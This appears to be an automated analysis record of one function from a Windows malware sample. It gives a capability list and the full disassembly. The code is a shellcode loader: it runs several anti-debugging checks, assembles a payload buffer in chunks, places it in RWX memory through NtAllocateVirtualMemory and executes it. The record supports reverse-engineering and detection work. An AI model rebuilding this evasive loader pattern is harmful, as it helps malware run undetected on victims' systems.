Function at 0x140011294
Capabilities:
Allocate or change rwx memory
Check for debugger via api
Execute shellcode via indirect call
Terminate process

Disassembly:
jmp 0x140016fa0
push rbp
push rdi
sub rsp, 0x3d8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x8a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001f040]
xor rax, rbp
mov qword [rbp + 0x398], rax
lea rcx, [0x1400250f3]
call fcn.1400113cf
call fcn.1400113b1
test eax, eax
je 0x140016ff1
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdx, [rbp + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp eax, 1
jne 0x140017025
cmp dword [rbp + 4], 1
jne 0x140017025
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400113c0
test eax, eax
je 0x140017044
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, [0x14001c288]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x140017155
lea rdx, str.NtQueryInformationProcess
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
je 0x140017155
mov dword [rbp + 0xa4], 0x1f
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [rbp + 0x84]
mov qword [rsp + 0x20], rcx
mov r9d, 4
lea r8, [rbp + 0x64]
mov edx, 0x1f
mov rcx, rax
call qword [rbp + 0x48]
mov dword [rbp + 0xc4], eax
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbp + 0xc4], 0
jl 0x1400170dc
cmp dword [rbp + 0x64], 0
jne 0x1400170dc
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [rbp + 0xe4], 0x1f
mov dword [rbp + 0x124], 0
lea rdx, str.NtQueryInformationProcess
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x148], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov r9d, 4
lea r8, [rbp + 0x124]
mov edx, 0x1f
mov rcx, rax
call qword [rbp + 0x148]
mov dword [rbp + 0x104], eax
cmp dword [rbp + 0x104], 0
jne 0x140017155
cmp dword [rbp + 0x124], 0
jne 0x140017155
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.140011163
movzx eax, al
test eax, eax
je 0x14001716c
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14001109b
movzx eax, al
test eax, eax
je 0x14001718e
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140011384
movzx eax, al
test eax, eax
je 0x1400171b0
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140011118
movzx eax, al
test eax, eax
je 0x1400171d2
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 0xf
lea rdx, section..data
lea rcx, [0x14001f200]
call fcn.1400111d1
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [0x14001f200]
add rax, 0xe
mov r8d, 0xf
lea rdx, str.RQH1
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x1c
mov r8d, 0xf
lea rdx, [0x14001c3b8]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x2a
mov r8d, 0xf
lea rdx, [0x14001c3d0]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x38
mov r8d, 0xf
lea rdx, [0x14001c3e8]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x46
mov r8d, 0xf
lea rdx, [0x14001c400]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x54
mov r8d, 0xf
lea rdx, [0x14001c418]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x62
mov r8d, 0xf
lea rdx, [0x14001c430]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x70
mov r8d, 0xf
lea rdx, [0x14001c448]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x7e
mov r8d, 0xf
lea rdx, [0x14001c460]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x8c
mov r8d, 0xf
lea rdx, [0x14001c478]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x9a
mov r8d, 0xf
lea rdx, [0x14001c490]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0xa8
mov r8d, 0xf
lea rdx, [0x14001c4a8]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0xb6
mov r8d, 0xf
lea rdx, str.XAXYZAXAYAZH
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0xc4
mov r8d, 0xf
lea rdx, [0x14001c4d8]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0xd2
mov r8d, 0xf
lea rdx, [0x14001c4f0]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0xe0
mov r8d, 0xf
lea rdx, [0x14001c508]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0xee
mov r8d, 0xf
lea rdx, [0x14001c520]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0xfc
mov r8d, 0xf
lea rdx, [0x14001c538]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x10a
mov r8d, 0xf
lea rdx, [0x14001c550]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x118
mov r8d, 0xf
lea rdx, [0x14001c568]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x126
mov r8d, 0xf
lea rdx, [0x14001c580]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x134
mov r8d, 0xf
lea rdx, [0x14001c598]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x142
mov r8d, 0xf
lea rdx, [0x14001c5b0]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x150
mov r8d, 0xf
lea rdx, [0x14001c5c8]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x15e
mov r8d, 0xf
lea rdx, [0x14001c5e0]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x16c
mov r8d, 0xf
lea rdx, [0x14001c5f8]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x17a
mov r8d, 0xf
lea rdx, [0x14001c610]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x188
mov r8d, 0xf
lea rdx, [0x14001c628]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x196
mov r8d, 0xf
lea rdx, [0x14001c640]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x1a4
mov r8d, 0xf
lea rdx, [0x14001c658]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x1b2
mov r8d, 0xf
lea rdx, [0x14001c670]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x1c0
mov r8d, 0xf
lea rdx, [0x14001c688]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x1ce
mov r8d, 0xf
lea rdx, [0x14001c6a0]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x1dc
mov r8d, 0xf
lea rdx, [0x14001c6b8]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x1ea
mov r8d, 0xf
lea rdx, [0x14001c6d0]
mov rcx, rax
call fcn.1400111d1
lea rax, [0x14001f200]
add rax, 0x1f8
mov r8d, 6
lea rdx, [0x14001c6e4]
mov rcx, rax
call fcn.1400111d1
mov qword [rbp + 0x168], 0
mov qword [rbp + 0x188], 0x1ff
lea rcx, [0x14001c288]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x1a8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x188]
xor r8d, r8d
lea rdx, [rbp + 0x168]
mov rcx, rax
call qword [rbp + 0x1a8]
mov dword [rbp + 0x1c4], eax
mov r8d, 1
lea rdx, [0x14001c6ec]
lea rcx, [0x14001f200]
call fcn.1400111d1
mov r8d, 0x1ff
lea rdx, [0x14001f200]
mov rcx, qword [rbp + 0x168]
call fcn.1400111d1
call qword [rbp + 0x168]
lea rcx, [0x14001c288]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtFreeVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x208], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x8000
lea r8, [rbp + 0x208]
lea rdx, [rbp + 0x168]
mov rcx, rax
call qword [rbp + 0x1e8]
mov dword [rbp + 0x1c4], eax
jmp 0x1400177bb
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001c1e0]
call fcn.140011348
mov rax, rdi
mov rcx, qword [rbp + 0x398]
xor rcx, rbp
call fcn.1400111cc
lea rsp, [rbp + 0x3a8]
pop rdi
pop rbp
ret